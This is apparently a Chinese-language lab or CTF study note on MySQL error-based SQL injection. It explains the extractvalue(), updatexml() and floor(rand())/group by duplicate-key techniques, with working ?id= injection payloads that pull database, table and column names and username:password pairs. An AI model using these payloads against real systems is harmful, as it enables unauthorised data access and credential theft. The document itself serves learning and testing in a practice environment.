extractValue()报错注入
什么是报错注入?
这是一种页面响应形式。响应过程如下:
- 用户在前台页面输入检索内容
- 后台将前台页面上输入的检索内容无加区别的拼接成 sql 语句,送给数据库执行
- 数据库将执行的结果返回给后台,后台将数据库执行的结果无加区别的显示到前台页面上
两个“无加区别” ← 报错注入存在的基础 → 后台对于输入输出的合理性没有做检查。
利用报错信息,得到想要的内容
通过 extractValue()报错注入
函数 extractValue()包含两个参数
extractValue(XML 文档对象名称, 路径)
示例
创建数据库 ctfstu 和数据表 xml 为示例,展示 extractValue()的用法
1、先在 ctfstu 数据库中创建 xml
create database ctfstu charset utf8;
create table xml(doc varchar(150));
2、在表内插入两端数据
insert into xml values('
<book>
<title>A bad boy how to get a girlfrind</title>
<author>
<initial>Love</initial>
<surname>benben</surname>
</author>
</book>
');
insert into xml values('
<book>
<title>how to become a bad boy</title>
<author>
<initial>hualong</initial>
<surname>Melton</surname>
</author>
</book>
');
3、使用 extractvalue 查询 xml 里面的内容
查询作者是谁
select extractvalue(doc,'/book/author/surname') from xml;
查询书名
select extractvalue(doc,'/book/title') from xml;
如果把查询参数路径写错,只会查询不到内容,但不会报错
想要报错,则把查询参数格式符号写错
select extractvalue(doc,'~book/title') from xml;
在报错时会回显报错的语句,因此可以构造报错的语句,使先查询到一部分内容后再报错,返回整体内容
构造语句:
select extractvalue(doc,concat(0x7e,(select database()))) from xml;
利用exctractvalue()进行报错注入
?id=100' union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+
#concat用于拼接第一和第二个参数,0x7e → “~”
#extractvalue的第一个参数可以随便写
concat第二个参数写进想查询的内容即可,同联合查询的后面的内容。
报错注入默认一次只能返回32个字符串
使用函数substring解决只能返回32个字符串问题
substring() 三个参数
- 第一个参数:控制输出的字符串
- 第二个参数:从哪开始输出
- 第三个参数:一次输出几位字符串
?id=100' union select 1,extractvalue(1,concat(0x7e,(select substring(group_concat(username,password) from users),31,30))),3 --+
#只能拼接字符串,从第31个字符开始,向后输出30个字符
Updatexml()报错注入
updatexml(XML_dacument,XPath_string,new_value)包含三个参数
- 第一个参数:XML_document是string格式,为XML文档对象的名称,例如Doc
- 第二个参数:XPath_string是路径,XPath格式的字符串
- 第三个参数:new_value,string格式,替换查找到的符合条件的数据
updatexml报错原理
同extractvalue(),输入错误的第二个参数,即更改路径的符号
正常句式:
select updatexml(doc,'/book/auther/surname','1') from xml;
错误句式:
select updatexml(doc,'~book/auther/surname','1') from xml;
只能回显32位字符串,仍要使用substring控制回显的字符数
过程
select updatexml(1,concat(0x7e,(select database())),'3') from xml;
#查库名
select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),'3') from xml;
#查表名
select updatexml(1,concat(0x7e,(select substring(group_concat(username,':',password),1,30) from users)),'3') from xml;
#查看数据
总结知识点
- 判断字符型(及其闭合方式)/数字型
- 靶机用户名密码存放位置的表名和列名
数据库information_schema中的数据表tables下数据列table_name和数据表columns下数据列column_name
floor报错
报错显示可以显示64位
rand()函数:随即返回0~1间的小数
floor()函数:小数向下取整数。向上取整数ceiling()
concat_ws()函数:将括号内数据用第一个字段连接起来
group by字句:分组语句,常用于 结合统计函数,根据一个或多个列,多结果集进行分组
as:别名
count()函数:汇总统计数量
limit:这里用于显示指定行数
?id=0' union select 1,count(*),concat_ws('-',(select concat('~',id,username,':',password) from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+
rand()函数
随机返回0~1间的小数
select rand();
#随机返回0~1间的小数
select rand()*2;
#随机返回0~2间的小数
select rand() from users;
#根据表users的行数随机显示结果,表中有多少行,就显示多少行随机结果
floor()函数
小数向下取整数
select floor(rand()*2);
#结果随机为0或者1
concat_ws()函数
将括号内数据用第一个字段连接起来
select concat_ws('1','2','3');
#把2和3用1连接起来
select concat_ws('~',(select database()),floor(rand()*2));
#将返回:数据库名~0 或者数据库名~1
as别名,group by分组
select concat_ws('~',(select database()),floor(rand()*2)) as a from users group by a;
#在数据表a下面能够分出的组数,返回 数据库名~0 或者数据库名~1
count()函数
汇总统计数量
select count(*),concat_ws('~',(select database()),floor(rand()*2)) as a from users group by a;
偶尔出现报错#1062 - Duplicate entry ‘security-0’ for key ‘’
报错原理
报错语法和报错位置
select floor(rand()*2) from users;
#根据表users的行数随机显示0或1
select floor(rand(0)*2) from users;
#计算不再随机,而是按一定的顺序排列
select floor(rand(1)*2) from users;
......
select count(*),concat_ws('-'(select database()),floor(rand(0)*2)) as a from users group by a;
select count(*),concat_ws('-'(select database()),floor(rand(1)*2)) as a from users group by a;
......
select count(*),concat_ws('-'(select database()),floor(rand(0)*2)) as a from users group by a;
#rand()函数进行分组group by和统计count()时可能会多次执行,导致键值key重复
在写入group_key键值时,不能直接将计算后的数值写入,而是再次计算后的数值进行写入
初始时,security-0/1的键值不存在,因此重新计算后写入键值,写入的键值如果在表格中有重复,则报错。
而在第一次统计时,若表中有相同的值,则直接进行计算。
因此,若表中同时有security-0和security-1时,则不进行报错。
select count(*),concat_ws('-',(select database())) as a from users group by a;
#group by作用是让rand()产生足够多次数的计算,一般使用行数比较多的默认数据表information_schema.tables
而后进行相同的注入操作即可。
注入操作
查表名
?id=0' union select 1,count(*),concat_ws('-',(select group_concat(table_name)from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as a from information_schema.tables group by a --+
#group_concat可能无法显示,可以改成concat尝试
?id=0' union select 1,count(*),concat_ws('-',(select concat(table_name)from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as a from information_schema.tables group by a --+
查列名
?id=0' union select 1,count(*),concat_ws('-',(select group_concat(column_name)from information_schema.columns where table_name='security'),floor(rand(0)*2)) as a from information_schema.tables group by a --+
查表中内容
?id=0' union select 1,count(*),concat_ws('-',(select group_concat('-',username,':',password)from users),floor(rand(0)*2)) as a from information_schema.tables group by a --+
使用limit控制内容输出
?id=0' union select 1,count(*),concat_ws('-',(select group_concat('-',username,':',password)from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+
#从第一行第一个字符开始输出
?id=0' union select 1,count(*),concat_ws('-',(select group_concat('-',username,':',password)from users limit 1,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+
#从第二行第一个字符开始输出
参与讨论